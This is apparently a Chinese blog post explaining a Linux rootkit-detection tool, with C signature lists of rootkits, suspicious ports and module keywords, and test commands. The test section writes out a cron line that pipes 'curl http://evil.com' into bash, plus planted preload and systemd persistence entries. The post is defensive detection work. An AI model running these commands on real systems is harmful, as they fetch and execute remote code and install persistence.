当攻击者已经扎根内核,常规的安全工具往往形同虚设。本文将拆解一款面向实战的Linux内核威胁检测工具,看它如何用"交叉验证"的朴素思想,在系统最深处追捕那些看不见的敌人。
一、为什么叫"暗影猎手"?
这个名字想表达两层意思:
"暗影" ------ 指的是Rootkit这类恶意软件的生存方式。它们不像勒索软件那样大张旗鼓,而是像影子一样潜伏在系统底层,篡改内核数据结构、Hook系统调用、隐藏进程和文件,让管理员看到的"一切正常"都是精心伪造的幻象。
"猎手" ------ 指的是这款工具的定位。它不是被动等待告警的防火墙,而是主动深入系统各个角落的取证工具。从用户态到内核态,从内存到启动链,从传统LKM到新兴eBPF,它像猎手一样追踪每一个异常痕迹。
说白了,这就是一个**专门抓"看不见的东西"**的工具。
二、它到底能抓什么?
根据代码和项目资料,这款工具的签名库覆盖了200多种已知威胁,检测维度横跨7大模块:
| 检测模块 | 抓什么 | 典型威胁 |
|---|---|---|
| 进程隐藏 | 从/proc消失的进程 | Reptile、Diamorphine |
| 内核模块 | 恶意LKM、隐藏模块 | Suterusu、Kovid |
| 库注入 | LD_PRELOAD劫持 | Jynx、Azazel |
| 网络后门 | 隐蔽监听端口、异常连接 | 各类反向Shell |
| eBPF威胁 | 恶意BPF程序 | ebpfkit、Boopkit |
| 内存取证 | 注入代码、RWX内存 | 无文件攻击 |
| 持久化 | 后门定时任务、服务 | Cron后门、Systemd植入 |
| 容器安全 | 容器逃逸、特权滥用 | Siloscape、TeamTNT |
特别值得一提的是它对APT级威胁的覆盖------Turla、Equation Group、Lazarus、Winnti这些国家级攻击组织的工具特征也被纳入了检测范围。这意味着它不只是抓"脚本小子"的玩具,而是能对抗专业对手的工业级工具。
三、核心设计思路:没有银弹,只有交叉验证
传统杀毒软件靠"特征码"吃饭,但Rootkit最擅长的就是让你看不到特征码 。这款工具的设计哲学是:单一数据源不可信,交叉验证才可靠。
3.1 进程检测:/proc 目录 vs kill() 系统调用
这是最经典的交叉验证案例。
Rootkit通常会Hook readdir() 或 getdents() 系统调用,让 /proc 目录里看不到恶意进程。但Hook kill() 要困难得多------因为kill(pid, 0)这个调用太简单了,只是检查进程是否存在,很多Rootkit作者会忽略它。
┌─────────────────┐
│ 读取 /proc 目录 │ ← 可能被Hook,数据不可信
│ 统计进程数量 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 遍历 PID 范围 │ ← 用kill(pid, 0)验证
│ 验证进程存在性 │ 更难被欺骗
└────────┬────────┘
│
┌────┴────┐
│ │
▼ ▼
┌────────┐ ┌──────────────┐
│ /proc │ │ /proc 不存在 │
│ 存在 │ │ 但kill成功! │
│ 正常 │ │ → 隐藏进程! │
└────────┘ └──────────────┘
代码核心逻辑 就是:如果 kill(pid, 0) 返回成功(进程存在),但 /proc/pid 目录却访问不到,那这个进程就是被刻意隐藏的,直接报CRITICAL级别告警。
3.2 模块检测:/proc/modules vs /sys/module
恶意内核模块可能从 lsmod 的输出中消失(通过从内核模块链表中摘除自己),但 /sys/module/ 下的kobject往往还留着------因为清理这个需要更复杂的操作。
工具会同时读取这两个来源,如果发现某个模块在 /proc/modules 里存在但 /sys/module 下没有对应目录,或者反过来,就判定为"隐藏模块"。
3.3 内存取证:RWX权限区域扫描
正常程序很少需要同时具有**读®、写(W)、执行(X)**权限的内存页。但注入的Shellcode或动态加载的恶意库常常需要这种权限。
工具遍历所有进程的 /proc/pid/maps,寻找同时具备 rwx 权限的内存区域,特别是那些:
- 匿名映射(没有对应文件)
- 标记为
deleted的文件映射 - 位于
/tmp、/dev/shm等临时目录
这些区域极可能是无文件攻击 或内存注入的痕迹。
四、代码实现原理图解
c
static const char *LKM_ROOTKITS[] = {
"singularity", "reptile", "diamorphine", "suterusu", "kovid",
"nurupo", "bdvl", "beurk", "azazel", "jynx2", "vlany",
"horsepill", "drovorub", "facefish", "skidmap", "pandora",
"umbreon", "keysniffer", "r77", "fontanini", "kbeast",
"rkspotter", "rkorova", "khook", "lkm_rootkit", "nuk3gh0st",
"icehide", "brokepkg", "reveng_rtkit", "medusa_lkm",
"spectre_lkm", "phantom_lkm", "venom_rootkit", "hydra_lkm",
"adore", "adore-ng", "knark", "synapsys", "heroine",
"suckit", "shv4", "shv5", "shv6", "rkit", "rkh", "lrk", "lrk3",
"lrk4", "lrk5", "lrk6", "t0rn", "ambient", "phalanx",
"phalanx2", "phantasmagoria", "snakso", "mood-nt",
"override", "rial", "rsha", "enyelkm", "kbdv3",
"superkit", "all-root", "kbd-mod", "hp-ux", "solaris_module",
"kis", "lvtes", "moodnt", "optic_kit", "ramen", "omega",
"turla", "uroburos", "snake", "carbon", "penquin", "penguin_turla",
"equation", "equationgroup", "regin", "hive", "bvp47", "dirtycow_lkm",
"drovorub_kernel", "winnti_lkm", "lazarus_lkm", "apt28_lkm",
"apt29_lkm", "cozy_duke", "fancy_bear", "sandworm_lkm",
"sofacy", "grizzly_steppe", "energetic_bear", "palmetto_fusion",
"lightning_framework", "symbiote", "orbit_lkm", "shikitega",
"ebpfkit", "pamspy", "boopkit", "bad_bpf", "bpf_rootkit",
"triton_ebpf", "ebpf_exfil", "bpfdoor", "bpf_backdoor",
NULL
};
static const char *USERLAND_ROOTKITS[] = {
"jynx", "jynx2", "jynx3", "azazel", "azazel2", "vlany", "beurk",
"bdvl", "bdvl2", "libprocesshider", "apache_backdoor", "cub3",
"erebus", "ld_poison", "preload_hook", "prochide", "processhider",
"umbreon_user", "libc_hook", "glibc_hook", "libselinux_fake",
"fakeld", "evil_preload", "stealth_preload", "rootsh",
"ld_backdoor", "libmimikatz", "pam_backdoor", "nss_backdoor",
"openssh_backdoor", "libkeyutils_backdoor", "xorddos_preload",
"chinaz_preload", "setuid_backdoor", "setgid_backdoor",
NULL
};
static const char *BOOTKITS[] = {
/* Modern UEFI */
"blacklotus", "cosmicstrand", "moonbounce", "especter", "vector_edk",
"lojax", "finspy_bootkit", "mosaic_regressor", "trickbot_uefi",
"thunderstrike", "thunderstrike2", "hacking_team_uefi",
"lighteater", "dreamboot", "rkloader", "uefi_implant",
/* Legacy MBR/VBR */
"rovnix", "carberp", "tdss", "tdl", "tdl2", "tdl3", "tdl4",
"olmarik", "sinowal", "torpig", "mebroot", "stoned", "stone",
"alureon", "gapz", "bootrash", "bootkit", "vbootkit",
"grayfish", "finfisher_bootkit", "hdroot", "nemesis",
"petya_bootkit", "satana", "cidox", "pihar", "zeroaccess",
NULL
};
static const char *CONTAINER_ROOTKITS[] = {
/* Cryptomining */
"kinsing", "teamtnt", "watchdog", "graboid", "pro_ocean",
"lemon_duck", "z0miner", "xanthe", "cetus", "autom",
"doki", "hildegard", "siloscape", "azurescape", "cr8escape",
"kubernetes_backdoor", "docker_escape", "cgroup_escape",
"container_drift", "malicious_admission", "pod_escape",
"kube_hunter_exp", "peirates", "kubeletctl_exp",
"awscli_backdoor", "gcp_backdoor", "azure_backdoor",
"cloud_credential_stealer", "metadata_thief", "imds_exfil",
NULL
};
static const char *EBPF_THREATS[] = {
"bpf_probe_write_user", "bpf_override_return", "bpf_send_signal",
"bpf_sys_bpf", "tracepoint_probe", "kprobe_hijack",
"xdp_drop_stealth", "tc_redirect_hidden", "cgroup_skb_hidden",
"raw_tracepoint_backdoor", "fentry_hook", "fexit_hook",
"bpf_map_hidden", "ringbuf_exfil", "perfbuf_exfil",
NULL
};
static const char *SUSPICIOUS_MODULES[] = {
"rootkit", "hidden", "stealth", "invisible", "hide", "hider",
"cloak", "phantom", "ghost", "shadow", "backdoor", "shell",
"keylog", "sniffer", "hook", "inject", "hijack", "hijacker",
"intercept", "bypass", "elevate", "escalate", "priv", "privilege",
"syscall_hook", "vfs_hook", "netfilter_hook", "ipt_hook",
"xor_key", "decrypt_mod", "crypt_mod", "encode_mod",
"rev_shell", "bind_shell", "remote_access", "rat_mod", "c2_mod",
"miner", "cryptominer", "xmrig_mod", "monero_mod", "coin_mod",
"exfil", "data_steal", "cred_dump", "passwd_grab",
NULL
};
static const int SUSPICIOUS_PORTS[] = {
31337, 31338, 12345, 12346, 27374, 27665, 20034, 1243,
6667, 6666, 6668, 6669, /* IRC */
4444, 4445, 5555, 5554, /* Metasploit default */
8080, 8443, 9001, 9030, /* Tor/proxies */
2222, 2223, 3333, 1337, /* Alt SSH/misc */
41524, 55553, 50050, /* RATs */
6697, 7000, 9999, 65535, /* Various */
0
};
typedef struct {
const char *name;
const unsigned char *pattern;
size_t offset;
size_t len;
int severity;
} signature_t;
static const signature_t FILE_SIGNATURES[] = {
{"Reptile LKM", (const unsigned char*)"reptile", 0, 7, SEV_CRITICAL},
{"Diamorphine", (const unsigned char*)"diamorphine", 0, 11, SEV_CRITICAL},
{"Suterusu", (const unsigned char*)"suterusu", 0, 8, SEV_CRITICAL},
{"Kovid LKM", (const unsigned char*)"kovid", 0, 5, SEV_CRITICAL},
{"Jynx2", (const unsigned char*)"JYNX2", 0, 5, SEV_CRITICAL},
{"Azazel", (const unsigned char*)"AZAZEL", 0, 6, SEV_CRITICAL},
{"BDVl", (const unsigned char*)"bdvl", 0, 4, SEV_CRITICAL},
{"Singularity", (const unsigned char*)"singularity", 0, 11, SEV_CRITICAL},
{"Drovorub", (const unsigned char*)"drovorub", 0, 8, SEV_CRITICAL},
{"eBPFkit", (const unsigned char*)"ebpfkit", 0, 7, SEV_CRITICAL},
{"BPFDoor", (const unsigned char*)"bpfdoor", 0, 7, SEV_CRITICAL},
{"Symbiote", (const unsigned char*)"symbiote", 0, 8, SEV_CRITICAL},
{NULL, NULL, 0, 0, 0}
};
static const char *SUSPICIOUS_DIRS[] = {
"/dev/shm/.", "/tmp/.", "/var/tmp/.", "/run/.",
"/.hidden", "/root/.", "/.cache/.",
"/dev/.blkid", "/dev/.udev", "/dev/.initramfs",
"/usr/share/.", "/usr/lib/.", "/lib/.",
"/etc/.", "/var/lib/.", "/opt/.",
NULL
};
static const char *INTEGRITY_FILES[] = {
"/bin/ls", "/bin/ps", "/bin/netstat", "/bin/ss",
"/bin/login", "/bin/su", "/bin/sudo", "/bin/passwd",
"/usr/bin/ssh", "/usr/bin/sshd", "/usr/bin/top",
"/usr/bin/find", "/usr/bin/lsof", "/usr/bin/w",
"/sbin/ifconfig", "/sbin/init", "/sbin/insmod",
"/sbin/modprobe", "/sbin/rmmod", "/sbin/lsmod",
"/lib/x86_64-linux-gnu/libc.so.6",
"/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",
"/lib/x86_64-linux-gnu/libpam.so.0",
NULL
};
static const char *HIJACK_LIBS[] = {
"libkeyutils.so", "libselinux.so", "libcrypt.so",
"libc.so.6", "libdl.so.2", "libpthread.so.0",
"libpam.so", "libnss_files.so", "libnss_compat.so",
"libsystemd.so", "libutil.so", "libcap.so",
NULL
};
static const char *PROC_HIDING_INDICATORS[] = {
"/proc/sys/kernel/modules_disabled",
"/proc/sys/kernel/kptr_restrict",
"/sys/module/*/holders",
"/sys/kernel/debug/tracing/available_filter_functions",
NULL
};
...
int main(int argc, char *argv[])
{
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
print_usage(argv[0]);
return 0;
} else if (strcmp(argv[i], "--version") == 0) {
printf("Rupurt v%s - Advanced Rootkit Hunter\n", VERSION);
printf("Signatures: 200+ rootkits, bootkits, eBPF threats\n");
return 0;
} else if (strcmp(argv[i], "-a") == 0 || strcmp(argv[i], "--all") == 0) {
run_all = 1;
} else if (strcmp(argv[i], "-q") == 0 || strcmp(argv[i], "--quick") == 0) {
run_quick = 1;
} else if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--processes") == 0) {
run_procs = 1;
} else if (strcmp(argv[i], "-m") == 0 || strcmp(argv[i], "--modules") == 0) {
run_modules = 1;
} else if (strcmp(argv[i], "-f") == 0 || strcmp(argv[i], "--files") == 0) {
run_files = 1;
} else if (strcmp(argv[i], "-n") == 0 || strcmp(argv[i], "--network") == 0) {
run_network = 1;
} else if (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--syscalls") == 0) {
run_syscalls = 1;
} else if (strcmp(argv[i], "-b") == 0 || strcmp(argv[i], "--boot") == 0) {
run_boot = 1;
} else if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "--container") == 0) {
run_container = 1;
} else if (strcmp(argv[i], "-e") == 0 || strcmp(argv[i], "--persistence") == 0) {
run_persistence = 1;
} else if (strcmp(argv[i], "-M") == 0 || strcmp(argv[i], "--memory") == 0) {
run_memory = 1;
} else if (strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "--ebpf") == 0) {
run_ebpf = 1;
} else if (strcmp(argv[i], "-I") == 0 || strcmp(argv[i], "--integrity") == 0) {
run_integrity = 1;
} else if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) {
opt_verbose = 1;
} else if (strcmp(argv[i], "-Q") == 0 || strcmp(argv[i], "--quiet") == 0) {
opt_quiet = 1;
} else if (strcmp(argv[i], "-j") == 0 || strcmp(argv[i], "--json") == 0) {
opt_json = 1;
} else if (strcmp(argv[i], "-d") == 0 || strcmp(argv[i], "--deep") == 0) {
opt_deep_scan = 1;
} else if ((strcmp(argv[i], "-l") == 0 || strcmp(argv[i], "--log") == 0) && i + 1 < argc) {
log_path = argv[++i];
}
}
if (!run_quick && !run_procs && !run_modules && !run_files &&
!run_network && !run_syscalls && !run_boot && !run_container &&
!run_persistence && !run_memory && !run_ebpf && !run_integrity) {
run_all = 1;
}
if (log_path) {
log_file = fopen(log_path, "w");
if (!log_file) {
fprintf(stderr, "Cannot open log file: %s\n", log_path);
} else {
time_t now = time(NULL);
fprintf(log_file, "Rupurt v%s - Scan started at %s\n", VERSION, ctime(&now));
}
}
if (!opt_quiet && !opt_json) {
printf("%s", BANNER);
}
if (geteuid() != 0) {
print_warn("Running without root - some checks may be limited");
}
stats.start_time = time(NULL);
if (!opt_quiet && !opt_json) {
struct utsname uts;
if (uname(&uts) == 0) {
print_info("System: %s %s %s", uts.sysname, uts.release, uts.machine);
}
print_info("Starting rootkit scan...");
}
if (run_all || run_quick || run_procs) {
check_hidden_processes();
}
if (run_all || run_quick) {
check_ld_preload();
}
if (run_all || run_quick || run_modules) {
check_kernel_modules();
}
if (run_all || run_files) {
check_rootkit_files();
}
if (run_all || run_network) {
check_network_backdoors();
}
if (run_all || run_syscalls) {
check_syscall_hooks();
}
if (run_all || run_ebpf) {
check_ebpf_programs();
}
if (run_all || run_boot) {
check_boot_integrity();
}
if (run_all || run_container) {
check_container_security();
}
if (run_all || run_persistence) {
check_persistence();
}
if (run_all || run_integrity) {
check_file_integrity();
}
if (run_all || run_memory) {
check_memory_signatures();
}
print_summary();
if (log_file) {
time_t now = time(NULL);
fprintf(log_file, "\nScan completed at %s", ctime(&now));
fprintf(log_file, "Summary: %d critical, %d high, %d medium, %d low\n",
stats.critical, stats.high, stats.medium, stats.low);
fclose(log_file);
if (!opt_quiet && !opt_json) {
print_info("Results logged to: %s", log_path);
}
}
return stats.critical > 0 ? 2 : (stats.high > 0 ? 1 : 0);
}
If you need the complete source code, please add the WeChat number (c17865354792)
4.1 整体架构流程
┌─────────────────────────────────────────────┐
│ 启动入口 │
│ 解析参数 → 初始化统计结构 │
└────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 检测模块调度器 │
│ ┌─────┐┌────┐┌────┐┌────┐┌────┐┌────┐ │
│ │进程 ││模块││文件││网络││持久││内存│ │
│ │隐藏 ││分析││扫描││检测││化 ││取证│ │
│ └─────┘└────┘└────┘└────┘└────┘└────┘ │
└────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 威胁评估与分级 │
│ CRITICAL → HIGH → MEDIUM → LOW → INFO │
└────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 结果汇总输出 │
│ 控制台(彩色) / JSON / 日志文件 │
└─────────────────────────────────────────────┘
4.2 LD_PRELOAD 劫持检测流程
┌─────────────────┐
│ 检查环境变量 │
│ LD_PRELOAD │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 检查 /etc/ld.so │
│ .preload 文件 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 遍历加载的库 │
│ /proc/self/maps │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 检查可疑路径 │
│ /tmp /dev/shm │
│ /var/tmp 等 │
└────────┬────────┘
┌────┴────┐
│ │
▼ ▼
┌────────┐ ┌──────────────┐
│ 无异常 │ │ 发现劫持! │
│ │ │ HIGH/CRIT │
└────────┘ └──────────────┘
4.3 网络后门检测流程
┌─────────────────┐
│ 读取 /proc/net │
│ tcp/tcp6/raw │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 解析连接状态 │
│ local_port │
│ remote_port │
│ state │
└────────┬────────┘
┌────┴────┐
│ │
▼ ▼
┌────────┐ ┌──────────────┐
│ LISTEN │ │ ESTABLISHED │
│ (0x0A) │ │ (0x01) │
└───┬────┘ └──────┬───────┘
│ │
▼ ▼
┌────────┐ ┌──────────────┐
│端口在白 │ │ 端口在白名单? │
│名单? │ │ 4444等 │
│31337等 │ └──────┬───────┘
└───┬────┘ │
┌───┴───┐ ┌────┴────┐
│ │ │ │
▼ ▼ ▼ ▼
正常 命中! 正常 命中!
HIGH HIGH
后门 可疑
五、涉及的技术领域总结
这款工具虽然代码量不大,但横跨了Linux系统安全的多个核心领域:
5.1 Linux内核架构
- /proc 伪文件系统:进程信息、模块列表、网络状态都从这里读取
- /sys 文件系统:内核对象、模块参数、调试信息的暴露接口
- 系统调用机制 :理解Rootkit如何Hook
sys_call_table - LKM机制:可加载内核模块的加载、卸载、隐藏原理
- eBPF子系统:BPF_PROG_LOAD、BPF_MAP_CREATE等新兴攻击面
5.2 进程管理与内存管理
- PID命名空间:容器隔离与进程隐藏的关系
- 进程内存映射:/proc/pid/maps的解析与含义
- ELF文件格式:验证系统二进制是否被篡改(Magic: 0x7f ELF)
- 动态链接器:ld-linux的工作原理,PLT/GOT表机制
5.3 网络安全
- TCP连接状态机:/proc/net/tcp的十六进制状态解析(0x0A=LISTEN)
- 原始套接字:RAW_SOCKET、PACKET_SOCKET的滥用检测
- Netfilter框架:iptables钩子被篡改的检测思路
5.4 容器与云安全
- 容器逃逸技术:privileged模式、docker.sock挂载、cgroup逃逸
- Kubernetes安全:ServiceAccount令牌滥用、RBAC配置审计
- 云元数据服务:IMDS(Instance Metadata Service)窃取攻击
5.5 取证与威胁情报
- 交叉视图分析:多数据源对比发现不一致性
- 签名匹配技术:字符串匹配、二进制特征码、哈希校验
- 持久化机制:Cron、Systemd、SSH authorized_keys、rc.local等
- UEFI/启动链安全:Secure Boot、GRUB完整性、Initramfs监控
5.6 安全工程实践
- 最小权限原则:非root运行时的功能降级与提示
- 日志分级设计:CRITICAL/HIGH/MEDIUM/LOW/INFO五级分类
- 多格式输出:彩色终端(ANSI转义码)、JSON(SIEM集成)、日志文件
- 返回码语义:0=干净、1=高风险、2=已沦陷,便于自动化脚本集成
六、实战中的使用场景
场景1:服务器被入侵后的应急排查
机器行为异常但找不到可疑进程?运行全量扫描,重点看进程隐藏 和内存取证模块。如果kill()能探测到进程但/proc里看不到,基本可以确定有内核级Rootkit。
场景2:容器环境安全审计
在K8s集群中运行容器安全扫描,检查是否有特权容器 、docker.sock挂载 、可疑的ServiceAccount权限。这些往往是容器逃逸的前兆。
场景3:eBPF新型威胁检测
随着eBPF攻击工具(如ebpfkit、Boopkit)的兴起,传统基于LKM的检测方法失效。工具的eBPF分析模块 通过遍历 /proc/*/fdinfo 查找BPF程序类型,识别异常加载的BPF程序。
场景4:自动化安全巡检
配合 --json 输出和返回码,可以集成到CI/CD流水线或定时任务中。返回码2直接触发告警,返回码1记录日志人工复核。
七、运行方式
bash
# 查看帮助
./rupurt -h
# 全量扫描(默认,不需要参数)
sudo ./rupurt
# 快速扫描(只查进程、模块、预加载)
sudo ./rupurt -q
# 指定模块扫描
sudo ./rupurt -p # 只查隐藏进程
sudo ./rupurt -m # 只查内核模块
sudo ./rupurt -f # 只查可疑文件
sudo ./rupurt -n # 只查网络后门
sudo ./rupurt -E # 只查eBPF
sudo ./rupurt -e # 只查持久化机制
# 输出控制
sudo ./rupurt -v # 详细模式
sudo ./rupurt -Q # 静默模式(只显示告警)
sudo ./rupurt -j > report.json # JSON输出,方便自动化
sudo ./rupurt -l scan.log # 写日志文件
sudo ./rupurt -d # 深度扫描(更慢但更彻底)
# 组合示例
sudo ./rupurt -a -d -v -l full_scan.log
返回码含义:
0= 系统干净1= 发现HIGH级别威胁,需要调查2= 发现CRITICAL级别威胁,系统可能已沦陷
模拟测试(在测试环境验证检测能力)
场景1:模拟LD_PRELOAD劫持
bash
export LD_PRELOAD=/tmp/fake_lib.so
./rupurt -q
# 预期输出:检测到 LD_PRELOAD 被设置
unset LD_PRELOAD
场景2:模拟/etc/ld.so.preload劫持
bash
echo "/tmp/malicious.so" | sudo tee /etc/ld.so.preload
sudo ./rupurt -q
# 预期输出:检测到可疑预加载库
sudo rm /etc/ld.so.preload
场景3:模拟可疑网络端口
bash
nc -l 4444 &
sudo ./rupurt -n
# 预期输出:检测到可疑监听端口 4444
kill %1
场景4:模拟可疑文件
bash
sudo mkdir /dev/.test_hidden
sudo touch /dev/.test_hidden/backdoor
sudo chmod +x /dev/.test_hidden/backdoor
sudo ./rupurt -f
# 预期输出:检测到隐藏目录和可执行文件
sudo rm -rf /dev/.test_hidden
场景5:模拟持久化后门
bash
echo "* * * * * root curl http://evil.com | bash" | sudo tee /etc/cron.d/suspicious
sudo ./rupurt -e
# 预期输出:检测到可疑的 pipe to bash
sudo rm /etc/cron.d/suspicious
场景6:模拟可疑Systemd服务
bash
cat << 'EOF' | sudo tee /etc/systemd/system/suspicious.service
[Unit]
Description=Test
[Service]
ExecStart=/dev/shm/.hidden/malware
[Install]
WantedBy=multi-user.target
EOF
sudo ./rupurt -e
# 预期输出:检测到可疑Systemd服务
sudo rm /etc/systemd/system/suspicious.service
总结
这款工具的价值不在于它用了多么高深的技术,而在于它把**"交叉验证"**这个朴素的思想贯彻到了极致。当攻击者能够Hook系统调用、篡改内核数据结构时,单一的信息源已经不可信。只有通过多个独立渠道获取信息并对比差异,才能发现那些被精心隐藏的威胁。
Welcome to follow WeChat official account【程序猿编码】